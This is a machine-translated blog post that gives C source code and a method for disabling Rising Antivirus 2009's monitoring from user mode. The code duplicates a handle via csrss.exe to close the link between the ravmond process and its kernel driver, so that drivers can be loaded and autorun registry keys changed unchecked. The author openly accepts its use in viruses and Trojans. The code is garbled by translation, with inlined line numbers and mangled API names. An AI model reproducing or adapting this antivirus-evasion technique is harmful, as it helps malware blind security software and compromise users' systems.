[Original] disable rising 2009 anti-virus software security protection at the user layer

Link to the original article: Disable rising 2009 anti-virus software security protection at the user layer

 

I write this as a hacker. If it is abused and used as a virus or Trojan, it doesn't matter to me.

 

The principle of very is simple. I found that rising monitoring is mainly in the ravmond process. If we break its connection with the kernel, rising monitoring cannot work normally. How can we break the connection? If it is in the kernel, there are of course a lot of ways, which are not challenging. Moreover, ravmond will prevent the user process from loading the driver or the key to the dynamic registry, such as the run sub-key. The following test code:

 

1 int main (INT argc, char * argv []) 2 {3 if (argc! = 4) 4 puts ("usage ccon csrss. PID prmd. handle hooksys. handle "); 5 else 6 {7 int pid = atoi (argv [1]); 8 int hprmd = atoi (argv [2]); 9 int hobj = atoi (argv [3]); 10 11 if (! Setdebugprivilege (true) 12 puts ("setdebugprivilege failed! "); 13 handle HCs = OpenProcess (process_all_access, false, pid); 14 if (! HCs) 15 {16 puts ("Open csrss.exe failed"); 17 printerr (getlasterror (); 18} 19 else // directly opening the ravmond process will fail, so adopt roundabout tactics 20 {21 handle hprmd_loc; 22 if (! Duplicatehandle (HCs, (handle) hprmd, getcurrentprocess (),/23 & hprmd_loc, process_all_access, false, 0) 24 {25 puts ("Get hprmd_loc failed! "); 26 printerr (getlasterror (); 27} 28 else // close the hooksys handle and break its connection with the kernel 29 {30 handle hobj_loc; 31 if (! Duplicatehandle (hprmd_loc, (handle) hobj,/32 getcurrentprocess (), & hobj_loc, 0, false,/33 bytes | duplicate_same_access) 34 {35 puts ("Get hobj_loc failed! "); 36 printerr (getlasterror (); 37} 38 else39 {40 if (! Closehandle (hobj_loc) 41 {42 puts ("Close hobj_loc failed"); 43} 44 else45 puts ("We success finally !!! "); 46} 47} 48} 49} 50 return 0; 51}

 

After breaking the relationship between rising monitoring and the kernel, the user process can load the driver into the kernel or tamper with the key content in the registry. I tested it, when you modify the monitoring content in the registry for the first time, rising will prompt you whether to allow modification. However, if you select no, the modification is successful, and rising will not be prompted for subsequent modification.

 

In fact, it is easy to defend. As long as rising does not allow us to get the hooksys handle under ring3, it still cannot defend against kernel attacks. You can still do whatever you want to do when you enter ring0. My windows xp sp3 + Rising Antivirus 2009 21.49.14 test is successful.